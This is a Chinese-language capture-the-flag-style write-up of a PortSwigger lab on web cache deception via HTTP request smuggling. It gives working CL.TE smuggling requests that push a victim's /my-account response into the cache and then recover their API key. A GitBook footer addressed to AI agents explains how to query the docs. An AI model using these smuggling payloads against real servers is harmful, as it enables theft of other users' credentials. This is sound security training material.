> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).
# 通过 HTTP 请求走私实现 Web 缓存欺骗
### 利用 HTTP 请求走私实施 Web 缓存欺骗
该实验室包含一个前端服务器和一个后端服务器。前端服务器不支持分块编码，并缓存一些静态资源。
目标是实施一次请求走私攻击，使得受害者发送的下一次请求会导致其 API 密钥被记录到缓存中。然后你需要从缓存中恢复该 API 密钥并提交以验证实验室。 / 在访问实验室后，需要等待 **30 秒** 一段时间后再尝试诱捕受害者。
你可以使用以下方式连接到你自己的账户： **wiener:peter**
#### **备注**
* 即使该实验室支持 HTTP/2，解决方案也是基于只能在 HTTP/1 中执行的技术。在 Burp Repeater 中，可以从 Inspector 的 Request attributes 部分更改协议。
* 该实验室模拟受害者用户的活动。攻击者发送的这几个 POST 请求，受害者也会发起自己的请求。有时需要重复攻击，以便正确同步请求序列。
#### **行为分析**
在“我的账户”面板中，你可以看到自己的 API 密钥。
可以观察到 `tracking.js` 文件被缓存了 **30 秒**.
#### **初始测试**
发送以下错误请求：
```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked
0
GET /error HTTP/1.1
测试：A
```
我们收到了一个响应 **404**，这证实了该行为可用。
#### **针对 /my-account 的走私**
然后构造一个走私请求用于 `/my-account` 如下：
```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
测试：A
```
当受害者在我们注入后发送自己的请求时，包含\*\*其 API 密钥\*\*的响应会被存储到缓存中，而不是 `tracking.js` 文件中的用户进行测试。
#### **结果**
当你加载缓存的资源时，管理员的 API 密钥就会出现：
```
你的 API 密钥是：WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.